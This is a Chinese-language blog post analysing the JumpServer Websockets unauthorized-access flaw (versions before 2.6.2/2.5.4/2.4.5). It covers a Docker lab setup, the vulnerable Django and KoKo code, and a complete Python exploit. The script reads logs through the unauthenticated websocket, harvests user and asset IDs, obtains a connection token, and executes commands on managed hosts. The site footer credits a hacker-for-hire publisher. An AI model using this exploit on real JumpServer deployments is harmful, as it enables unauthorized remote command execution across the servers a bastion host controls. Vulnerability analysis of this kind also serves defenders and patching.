当前位置:首页 > 黑客技术 > 正文内容

JumpServer Websockets 未授权访问漏洞

访客4年前 (2021-04-09)黑客技术1090

  JumpServer 是全球首款完全开源的堡垒机, 使用 GNU GPL v2.0 开源协议, 是符合 4A 的专业运维审计系统。 使用 Python / Django 进行开发, 遵循 Web 2.0 规范, 配备了业界领先的 Web Terminal 解决方案, 交互界面美观、用户体验好。 采纳分布式架构, 支持多机房跨区域部署, 中心节点提供 API, 各机房部署登录节点, 可横向扩展、无并发访问限制。

  由于JumpServer程序中连接websocket的接口未做授权限制,导致攻击者可构造恶意请求获取服务器敏感信息,通过敏感信息中的相关参数,可构造请求获取相应token,进而可通过相关API操作来执行任意命令。

  影响版本

  JumpServer < v2.6.2

  JumpServer < v2.5.4

  JumpServer < v2.4.5

  JumpServer=v1.5.9

  安全版本

  JumpServer >=v2.6.2

  JumpServer >=v2.5.4

  JumpServer >=v2.4.5

  JumpServer=v1.5.9(修复版)

  commit记录

  

  搭建JumpServer有三种方式:

  项目源码编译搭建,(不推荐搭建复杂,但能了解JumpServer内组件和关键设置)

  脚本快速安装(推荐)

  Docker容器化安装(推荐)

  个人感觉选择Docker最好,方便关键参数设置。

  首先创建容器

  docker run -d --name mysql --restart=always -e MYSQL_ROOT_PASSWORD=abcd@1234 -p 3306:3306 -v /Users/rai4over/Desktop/mysqldata:/var/lib/mysql mysql:5.7 --character-set-server=utf8mb4 --collation-server=utf8mb4_unicode_ci

  进入容器内

  docker exec -it mysql /bin/bash

  为创建数据库和对应数据库账户

  root@dbf8cbc59abf:/# mysql -u root -pabcd@1234

  mysql: [Warning] Using a password on the command line interface can be insecure.

  Welcome to the MySQL monitor. Commands end with ; or \g.

  Your MySQL connection id is 2

  Server version: 5.7.32 MySQL Community Server (GPL)

  Copyright (c) 2000, 2020, Oracle and/or its affiliates. All rights reserved.

  Oracle is a registered trademark of Oracle Corporation and/or its

  affiliates. Other names may be trademarks of their respective

  owners.

  Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

  mysql> create database jumpserver default charset 'utf8mb4';

  Query OK, 1 row affected (0.01 sec)

  mysql> grant all on jumpserver.* to 'jumpserver'@'%' identified by 'abcd@1234';

  Query OK, 0 rows affected, 1 warning (0.01 sec)

  mysql> flush privileges;

  Query OK, 0 rows affected (0.01 sec)

  mysql> exit

  Bye

  创建实例

  docker run -d -it --name redis -p 6379:6379 -v /Users/rai4over/Desktop/redisdata:/data --restart=always --sysctl net.core.somaxconn=1024 redis:4.0.10 --requirepass "123456"

  配置环境变量

  if [ "$SECRET_KEY" = "" ]; then SECRET_KEY=`LC_CTYPE=C tr -dc A-Za-z0-9 < /dev/urandom | head -c 50`; echo "SECRET_KEY=$SECRET_KEY" >> ~/.zshrc; echo $SECRET_KEY; else echo $SECRET_KEY; fi

  配置环境变量

  if [ "$BOOTSTRAP_TOKEN" = "" ]; then BOOTSTRAP_TOKEN=`LC_CTYPE=C tr -dc A-Za-z0-9 < /dev/urandom | head -c 16`; echo "BOOTSTRAP_TOKEN=$BOOTSTRAP_TOKEN" >> ~/.zshrc; echo $BOOTSTRAP_TOKEN; else echo $BOOTSTRAP_TOKEN; fi

  使用两个环境变量并作为参数,创建容器

  docker run -d --name jumpserver -h jumpserver --restart=always \

  -v /Users/rai4over/Desktop/jumpserverdata:/opt/jumpserver/data/media \

  -p 80:80 \

  -p 2222:2222 \

  -e SECRET_KEY=$SECRET_KEY \

  -e BOOTSTRAP_TOKEN=$BOOTSTRAP_TOKEN \

  -e DB_HOST=172.16.191.1 \

  -e DB_PORT=3306 \

  -e DB_USER=jumpserver \

  -e DB_PASSWORD="abcd@1234" \

  -e DB_NAME=jumpserver \

  -e REDIS_HOST=172.16.191.1 \

  -e REDIS_PORT=6379 \

  -e REDIS_PASSWORD="123456" \

  jumpserver/jms_all:v2.5.3

  运行在8080,需要通过运行在80的反向代理Nginx访问。

  设置管理的资产、用户的权限

  

  想要使用Web终端,需要对资产、用户进行对应的授权

  

  然后使用Web终端连接管理的主机

  

  漏洞大概分为几个过程:

  JumpServer-Websockets-1 接口任意log文件读取,三个关键参数、、。

  JumpServer-Websockets-2 接口权限绕过、提升,利用参数生成。

  KoKo-Websockets 接口利用生成,控制资产主机进行远程命令执行。

  前置的Nginx的路由配置也需要注意

  server {

  listen 80;

  # server_name _;

  client_max_body_size 1024m; # 录像及文件上传大小限制

  location /ui/ {

  try_files $uri / /index.html;

  alias /opt/lina/;

  expires 24h;

  }

  location /luna/ {

  try_files $uri / /index.html;

  alias /opt/luna/;

  expires 24h;

  }

  location /media/ {

  add_header Content-Encoding gzip;

  root /opt/jumpserver/data/;

  }

  location /static/ {

  root /opt/jumpserver/data/;

  expires 24h;

  }

  location /koko/ {

  proxy_pass

  proxy_buffering off;

  proxy_http_version 1.1;

  proxy_request_buffering off;

  proxy_set_header Upgrade $http_upgrade;

  proxy_set_header Connection "upgrade";

  proxy_set_header X-Real-IP $remote_addr;

  proxy_set_header Host $host;

  proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;

  access_log off;

  }

  location /guacamole/ {

  proxy_pass

  proxy_buffering off;

  proxy_http_version 1.1;

  proxy_request_buffering off;

  proxy_set_header Upgrade $http_upgrade;

  proxy_set_header Connection $http_connection;

  proxy_set_header X-Real-IP $remote_addr;

  proxy_set_header Host $host;

  proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;

  access_log off;

  }

  location /ws/ {

  proxy_pass

  proxy_buffering off;

  proxy_http_version 1.1;

  proxy_request_buffering off;

  proxy_set_header Upgrade $http_upgrade;

  proxy_set_header Connection "upgrade";

  proxy_set_header X-Real-IP $remote_addr;

  proxy_set_header Host $host;

  proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;

  }

  location /api/ {

  proxy_pass

  proxy_set_header X-Real-IP $remote_addr;

  proxy_set_header Host $host;

  proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;

  }

  location /core/ {

  proxy_pass

  proxy_set_header X-Real-IP $remote_addr;

  proxy_set_header Host $host;

  proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;

  }

  location / {

  rewrite ^/(.*)$ /ui/$1 last;

  }

  }

  Payload中设计的URL对号入座即可。

  需要使用Web终端访问一次资产主机,才会产生漏洞需要的三个关键参数的日志,日志默认位于

  

  文件读取测试

  

  代码位置:apps/ops/ws.py

  class CeleryLogWebsocket(JsonWebsocketConsumer):

  disconnected=False

  def connect(self):

  self.accept()

  def receive(self, text_data=None, bytes_data=None, **kwargs):

  data=json.loads(text_data)

  task_id=data.get("task")

  if task_id:

  self.handle_task(task_id)

  def wait_util_log_path_exist(self, task_id):

  log_path=get_celery_task_log_path(task_id)

  while not self.disconnected:

  if not os.path.exists(log_path):

  self.send_json({'message': '.', 'task': task_id})

  time.sleep(0.5)

  continue

  self.send_json({'message': '\r

  '})

  try:

  logger.debug('Task log path: {}'.format(log_path))

  task_log_f=open(log_path, 'rb')

  return task_log_f

  except OSError:

  return None

  def read_log_file(self, task_id):

  task_log_f=self.wait_util_log_path_exist(task_id)

  if not task_log_f:

  logger.debug('Task log file is None: {}'.format(task_id))

  return

  task_end_mark=[]

  while not self.disconnected:

  data=task_log_f.read(4096)

  if data:

  data=data.replace(b'

  ', b'\r

  ')

  self.send_json(

  {'message': data.decode(errors='ignore'), 'task': task_id}

  )

  if data.find(b'succeeded in') !=-1:

  task_end_mark.append(1)

  if data.find(bytes(task_id, 'utf8')) !=-1:

  task_end_mark.append(1)

  elif len(task_end_mark)==2:

  logger.debug('Task log end: {}'.format(task_id))

  break

  time.sleep(0.2)

  task_log_f.close()

  def handle_task(self, task_id):

  logger.info("Task id: {}".format(task_id))

  thread=threading.Thread(target=self.read_log_file, args=(task_id,))

  thread.start()

  获取参数,然后进入函数读取日志,调用函数判断路径是否存在并读取,接着调用函数

  apps.ops.celery.utils.get_celery_task_log_path

  def get_celery_task_log_path(task_id):

  task_id=str(task_id)

  rel_path=os.path.join(task_id[0], task_id[1], task_id + '.log')

  path=os.path.join(settings.CELERY_LOG_DIR, rel_path)

  os.makedirs(os.path.dirname(path), exist_ok=True)

  return path

  目录跳转拼接后得到完整路径,并返回读取入职内容,此时从日志中可以获取、、三个参数。

  此处接口的修复方式为增加权限校验:

  

  将前面获取到的三个关键参数传入该接口,进一步获取

  

  代码位置:apps/authentication/api/auth.py

  

  方法重写了接口的访问权限,可以通过重新设置API访问权限为,权限绕过后通过post方法生成一个有效期为20s的。

  此处接口的修复方式为删除重写的访问权限:

  

  发送token,获取id

  

  初始化ssh连接

  

  远程命令执行

  

  代码位置:pkg/httpd/webserver.go

  

  无需进行权限校验,跟进函数

  

  获取管理服务器远程命令执行权限。

  # coding=utf-8

  import asyncio

  import websockets

  import json

  import requests

  import re

  target_url=''

  cmd="ifconfig"

  async def get_token():

  print('========================================================================================================================================================')

  url=target_url.replace("http", "ws") + "/ws/ops/tasks/log/"

  print("Request=> " + url + "token")

  async with websockets.connect(url, timeout=3) as websocket:

  await websocket.send('{"task":"/opt/jumpserver/logs/gunicorn"}')

  for x in range(1000):

  try:

  rs=await asyncio.wait_for(websocket.recv(), timeout=3)

  print("Recv=> " + rs)

  if '/api/v1/perms/asset-permissions/user/validate' in rs:

  break

  except:

  print("Vulnerability may not exist")

  exit()

  print('========================================================================================================================================================')

  print('Vulnerability may exist')

  pattern=re.compile(r'asset_id=(.*?)&cache_policy=1&system_user_id=(.*?)&user_id=(.*?) ')

  matchObj=pattern.search(rs)

  if matchObj:

  asset_id=matchObj.group(1)

  print('asset_id=' + asset_id)

  system_user_id=matchObj.group(2)

  print('system_user_id=' + system_user_id)

  user_id=matchObj.group(3)

  print('user_id=' + user_id)

  print('========================================================================================================================================================')

  data={'asset': asset_id, 'system_user': system_user_id, 'user': user_id}

  url=target_url + '/api/v1/users/connection-token/?user-only=1'

  print("Request=> " + url + ' get token')

  response=requests.post(url, json=data).json()

  print('token=' + response['token'])

  print('========================================================================================================================================================')

  return response['token']

  async def attack(url):

  async with websockets.connect(url, timeout=3) as websocket:

  print("Request=> " + url)

  rs=await websocket.recv()

  print("Recv=> " + rs)

  id=json.loads(rs)["id"]

  print("id=" + id)

  print('========================================================================================================================================================')

  init_payload=json.dumps({"id": id, "type": "TERMINAL_INIT", "data": "{\"cols\":164,\"rows\":17}"})

  print("Request=> " + "TERMINAL_INIT")

  await websocket.send(init_payload)

  rs=await websocket.recv()

  print("Recv=> " + rs)

  rs=""

  while "Last login" not in rs:

  rs=await websocket.recv()

  print("Recv=> " + rs)

  cmd_payload=json.dumps({"id": id, "type": "TERMINAL_DATA", "data": cmd + "\r

  "})

  print("Request=> " + "Cmd Payload")

  await websocket.send(cmd_payload)

  for x in range(1000):

  try:

  rs=await asyncio.wait_for(websocket.recv(), timeout=3)

  print("Recv=> " + rs)

  except:

  print('========================================================================================================================================================')

  print('recv data end')

  break

  def exp():

  token=asyncio.get_event_loop().run_until_complete(get_token())

  url=target_url.replace("http", "ws") + "/koko/ws/token/?target_id=" + token

  asyncio.get_event_loop().run_until_complete(attack(url))

  if __name__=='__main__':

  exp()

  

  

扫描二维码推送至手机访问。

版权声明:本文由黑客接单发布,如需转载请注明出处。

本文链接:http://therlest.com/106164.html

分享给朋友:

“JumpServer Websockets 未授权访问漏洞” 的相关文章

今天的汽油单价 - 今日燃油价格最新行情

4点59元调为5点02元,不同批次价格会有差距,经常堵车路况差的情况下,93#汽油7点71元/升、20:29单位:人民币,情况今天零时起。 92号汽油,0 号柴油每升上调0点04元。更别说不同地区了,92号汽油,上调0点37行情元;93号,最高限价,决定从。 92汽油官方价6点柴油价:6点:5点90...

美团暗语「美团暗语2021」

 昨天,很多网友问小编美团暗语最好的方法是什么?有关美团暗语2021最好的方法是哪种?最新美团暗语2020?根据网民透露的审判细节这篇文章主要介绍了美团暗语,包括美团暗语 据大江网2021年10月20日17:01:48的最新消息,微博网友@ 爆料。 平安夜来临之际,事件,在网上炒得沸沸扬扬,引发全...

接单的黑客_可以找黑客黑美团吗

有在网络安全范畴中,猜测网络违法和歹意软件发展趋势好像现已成为了各大网络安全公司的传统了。 为了防止让咱们去阅览上百页的安全陈述,咱们专门整兼并总结了McAfee、Forrester、FiskIQ、卡巴斯基实验室【1、2、3】、WatchGuard、Nuvias、FireEye、CyberArk、F...

黑客了解,中国黑客越南网络apt,黑客网站密码破解工具

6.42 · hxxp[://]offlineearthquake[.]com/file//?id=&n=000 进程三:使命履行及实时数据剖析10.61 2019年6月19日,FireEye Endpoint Security设备上收到了缝隙检测警报。 违规应用程序被辨认为Microso...

奶牛多少钱一头2021年奶牛价格,2021年奶牛市场行情

字体:大中小,一般不超过200斤重的奶牛,怀孕母牛价格要稍贵一些,一般小点的,优质纯种荷斯坦奶牛,见效慢,关闭窗口,通常3-8个月小。 月的奶牛奶牛,花色、请问一头一头半成年奶牛多少钱!但我家不像你那个样子.荷斯坦奶牛、年龄大小。 来源、厘米,他的特点是投资巨大,理性回归2005-09-1511:5...

糖尿病胰岛素多少钱一支_血糖高不高,看脚就知道

饮食和运动可以让你不怕糖尿病过好生活.也与运动太少有关。眼睛发痒一般是过敏.哪家医院对糖尿病的治疗上信誉. 血糖高是哪个部位.据统计,黎明现象,空腹和。 精神状态等各方面根本的健康因素并不重视,不过在这家医院现在可以实现跨省异地直接,之前就血糖高,口服药是可以降糖的!治疗导致的并发症,就换了别的药,...

评论列表

世味十雾
2年前 (2022-07-05)

为删除重写的访问权限:    发送token,获取id    初始化ssh连接    远程命令执行    代码位置:pkg/httpd/webserver.go    无需进行权限校验,跟进函数    获取管理服务器远程命令执行权

弦久辞忧
2年前 (2022-07-05)

r default charset 'utf8mb4';  Query OK, 1 row affected (0.01 sec)  mysql> gran

颜于酒废
2年前 (2022-07-05)

===')  print('Vulnerability may exist')  pattern=re.compile(r'asset_id=(.*?)&cache_policy=1&system_us

怎忘云胡
2年前 (2022-07-05)

 -e SECRET_KEY=$SECRET_KEY \  -e BOOTSTRAP_TOKEN=$BOOTSTRAP_TOKEN \  -e DB_HOST=172.16.191.

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。